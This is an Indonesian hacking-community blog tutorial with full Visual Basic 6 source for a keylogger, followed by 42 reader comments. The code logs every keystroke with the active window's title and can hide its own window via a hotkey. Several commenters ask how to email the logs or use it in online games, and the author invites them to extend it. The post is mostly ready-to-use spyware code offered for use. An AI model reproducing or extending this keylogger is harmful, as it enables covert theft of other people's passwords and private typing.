Binus Hacker - Independent Hacking Community   Subscribe to BINUS HACKER Subscribe to BINUS HACKERSubscribe to BINUS HACKER FacebookSubscribe to BINUS HACKER Twitter

Membuat Key Logger Dengan Visual Basic

1 April 2012
Penulis:   · Kategori Artikel: Coding

BINUS HACKER Binus Hacker Is Not Criminal Banner





Assalamualaikum wr wb, salam sejahtera sobat Binus Hacker,

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE

  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
  5. Copas seluruh Code di bawah ini :
    Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib “user32″ () As Long
    Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
    Private hForegroundWnd As Long
    Private backs As BooleanPrivate Sub Command1_Click()
    Timer1.Enabled = True
    End SubPrivate Sub Command2_Click()
    Timer1.Enabled = False
    End SubPrivate Sub Command3_Click()
    backs = True
    End SubPrivate Sub Command4_Click()
    backs = False
    End SubPrivate Sub Form_Load()
    backs = True
    End Sub

    Private Sub Label1_Click()

    End Sub

    Private Sub Label4_Click()

    End Sub

    Private Sub Label6_Click()
    Timer1.Enabled = True
    End Sub

    Private Sub Label7_Click()
    Timer1.Enabled = False
    End Sub

    Private Sub Label8_Click()
    backs = True
    End Sub

    Private Sub Label9_Click()
    backs = False
    End Sub

    Private Sub Text1_Change()
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
    End Sub

    Private Sub Timer1_Timer()

    Dim x, x2, i, t As Integer
    Dim win As Long
    Dim Title As String * 1000

    win = GetForegroundWindow()
    If (win = hForegroundWnd) Then
    GoTo Keylogger
    Else
    hForegroundWnd = GetForegroundWindow()
    Title = “”

    GetWindowText hForegroundWnd, Title, 1000

    Select Case Asc(Title)

    Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
    Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
    Text1.Text = Text1.Text & " ]” & vbCrLf
    End Select

    End If

    Exit Sub

    Keylogger:

    For i = 65 To 90

    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)

    If x = -32767 Then

    If x2 = -32768 Then
    Text1.Text = Text1.Text & Chr(i)
    Else: Text1.Text = Text1.Text & Chr(i + 32)
    End If

    End If

    Next

    For i = 8 To 222

    If i = 65 Then i = 91

    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)

    If x = -32767 Then

    Select Case i

    Case 48
    Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
    Case 49
    Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
    Case 50
    Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
    Case 51
    Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
    Case 52
    Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
    Case 53
    Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
    Case 54
    Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
    Case 55
    Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
    Case 56
    Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
    Case 57
    Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)

    Case 112: Text1.Text = Text1.Text & ” F1 “
    Case 113: Text1.Text = Text1.Text & ” F2 “
    Case 114: Text1.Text = Text1.Text & ” F3 “
    Case 115: Text1.Text = Text1.Text & ” F4 “
    Case 116: Text1.Text = Text1.Text & ” F5 “
    Case 117: Text1.Text = Text1.Text & ” F6 “
    Case 118: Text1.Text = Text1.Text & ” F7 “
    Case 119: Text1.Text = Text1.Text & ” F8 “
    Case 120: Text1.Text = Text1.Text & ” F9 “
    Case 121: Text1.Text = Text1.Text & ” F10 “
    Case 122: Text1.Text = Text1.Text & ” F11 “
    Case 123: Text1.Text = Text1.Text & ” F12 “

    Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
    Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
    Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
    Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
    Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
    Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
    Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
    Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
    Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
    Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
    Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)

    Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
    Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
    Case 13: Text1.Text = Text1.Text & vbCrLf
    Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
    Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
    Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
    Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
    Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
    Case 32: Text1.Text = Text1.Text & ” “
    Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
    Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
    Case 35: Text1.Text = Text1.Text & ” [ End ] “
    Case 36: Text1.Text = Text1.Text & ” [ Home ] “
    Case 37: Text1.Text = Text1.Text & ” [ Left ] “
    Case 38: Text1.Text = Text1.Text & ” [ Up ] “
    Case 39: Text1.Text = Text1.Text & ” [ Right ] “
    Case 40: Text1.Text = Text1.Text & ” [ Down ] “
    Case 41: Text1.Text = Text1.Text & ” [ Select ] “
    Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
    Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
    Case 46: Text1.Text = Text1.Text & ” [ Del ] “
    Case 47: Text1.Text = Text1.Text & ” [ Help ] “
    Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “

    End Select

    End If

    Next

    End Sub

    Private Sub Timer2_Timer()
    Dim a, b, x As Long
    a = GetAsyncKeyState(120)
    b = GetAsyncKeyState(121)
    x = GetAsyncKeyState(16)
    If a = -32767 And x = -32768 Then Me.Hide
    If b = -32767 And x = -32768 Then Me.Show
    End Sub

  6. Jalankan dengan menekan tombol F5
  7. Live demo bisa di download disini :

Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…

Salam BinusHacker & mampir ke blog saya di: http://starkey-magazine.blogspot.com :)

BINUS HACKER Binus Hacker Chat and Forum

Komentar

42 Komentar Untuk “Membuat Key Logger Dengan Visual Basic
Silahkan Berikan Tanggapan Anda Untuk Artikel Ini...

  1. Loc Arif pada 1 April 2012 1:22 am

    Beuh..
    Lumayan untuk belajar vb…

  2. naves pada 2 April 2012 3:51 am

    keren.
    buwat vb .
    file di dalam feli dong tuwan” yg terhormat.

  3. nothing pada 5 April 2012 3:09 am

    ini bisa otomatis ngirim ke email kita ndak?

  4. KentEyes pada 6 April 2012 9:25 am

    gan kalo pake VB 2008 bisa gk ?
    btw thanks infonya _^

  5. rizal pada 8 April 2012 6:09 pm

    bang itu sehabis di copy terus pastenya dimana?
    di formnya?

  6. starkey pada 9 April 2012 3:58 pm

    Ini hanya contoh syntax keylogger sederhana, belum bisa sends logs by email.
    Untuk VB 2008 / VB NET kemungkinan bisa…
    Silahkan dikembangkan :)

  7. sawung pada 10 April 2012 6:28 am

    ikut belajar Gan….thank’s

  8. caesar pada 10 April 2012 11:11 pm

    keren….!

  9. Cyber City pada 18 April 2012 7:44 am

    KOK pas di F5 ada kyk gini

    Compiles Eror:

    expented:string constant

  10. ECKO.ID-HACKER pada 24 April 2012 7:47 am

    mas kug code nya error

  11. mahong pada 3 May 2012 7:48 am

    nice info gan :D

  12. sony baru belajar ikutan jadi hacker pada 5 May 2012 5:41 am

    baru belajatr buat keylogger ne gan pake vb 6.0

  13. ricardo pada 8 May 2012 2:23 am

    trims gan b key logger nya.

  14. joeyaxlez pada 12 May 2012 2:18 pm

    wah……thanks yha Masta….udah lama gk buka vb nih….
    eh ternyata bisa jga gan…

  15. jabonkerenz pada 17 May 2012 6:19 am

    ane baru belajar gan…
    ane gk ngerti yg beginian….
    tolong kasih lebih bnyk infonya ya master…

  16. Iqbal pada 27 May 2012 12:48 am

    Om Starkey ane coba gagal trus pas mw d compile Script’a ada yg eror d user32 nya.

  17. reza pada 28 May 2012 9:00 pm

    pastenya dimana kk?

  18. Anonymous pada 2 June 2012 10:51 am

    @reza
    klik 2x aja formnya, nnti agan bisa paste di sana

  19. oelies pada 27 June 2012 6:46 am

    nice …..

  20. death pada 23 July 2012 8:53 pm

    exe nya udah di download, masih ada bug nya.
    ga bisa di hide atw teka shift+F10

  21. BLoon AmaT pada 28 July 2012 4:06 am

    copy pastenya di jidat bisa ngga gan ???

  22. NoobieUbi pada 7 August 2012 7:55 pm

    Thanks Info nya … lebih perbanyak lagi tutor nya … gan ..

  23. cap pada 17 August 2012 6:47 am

    gan kalo di VB.NET bisa di jalanin gak, kan beda tuh logikanya vb 6 sama vb.net?

  24. JIBRIL pada 18 August 2012 4:41 pm

    untuk agan – agan yg belum jelas mungkin agan bisa tahu dulu dasarnya VB?
    karna itu menentukan code nya nanti?
    dan nama serta tataletak pada VB..
    seperti halnya membuat program sederhana dari notepad standar…

  25. rafience pada 21 August 2012 2:10 am

    pertamax gan

  26. JIBRIL pada 24 August 2012 10:32 pm

    ijin copas ya gan..
    :D

  27. Endhy Excelsiour pada 29 August 2012 7:37 am

    Itu nanti kekirimnya kemana?

  28. Tommy Aditya pada 30 August 2012 1:37 am

    untuk game online kok g akedetck ya tulisannya kk?

  29. J4k pada 8 September 2012 5:43 pm

    cara nengok log nya gi mn tu..?

  30. Lucky pada 7 October 2012 1:15 am

    nih, keyloger model gmna, bahaya ngk klo di coba ?

  31. musa pada 4 December 2012 1:54 pm

    Thanks atas ilmunya…!

  32. musa pada 4 December 2012 9:06 pm

    thanks atas ilmunya

  33. Alex pada 21 January 2013 11:52 pm

    kenapa saya sudah daowlaod tapi macam mana saya mau buat Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label seperti digambar tu

  34. Agung pada 24 January 2013 2:08 am

    kalo yang pake vb 2008 gimana gan ?

  35. bayem gaul pada 28 January 2013 9:32 pm

    iktan dong

  36. bayem gaul pada 28 January 2013 9:33 pm

    dasar2nya itu gmn bos/

  37. jefri pada 29 January 2013 7:13 am

    ok bagus

  38. fauzi pada 5 March 2013 12:07 am

    kokok error bang +_+

  39. taufik pada 20 March 2013 11:12 pm

    ribet gimana caranya

  40. taufik pada 20 March 2013 11:13 pm

    haha tapi lumayan juga buat vb

  41. aqillayovi pada 23 March 2013 5:12 pm

    cara buka keylogger nya gmana nih bingung, dari taadi ga bisa buka terus harus mencet apa?

  42. Gilank Mahardika pada 21 June 2013 8:03 pm

    Masih gak ngerti juga gan :D. Kalo perlu, tambahin video cara buat keyloggernya gan :D. Thankss…..

Silahkan Berikan Tanggapan Anda...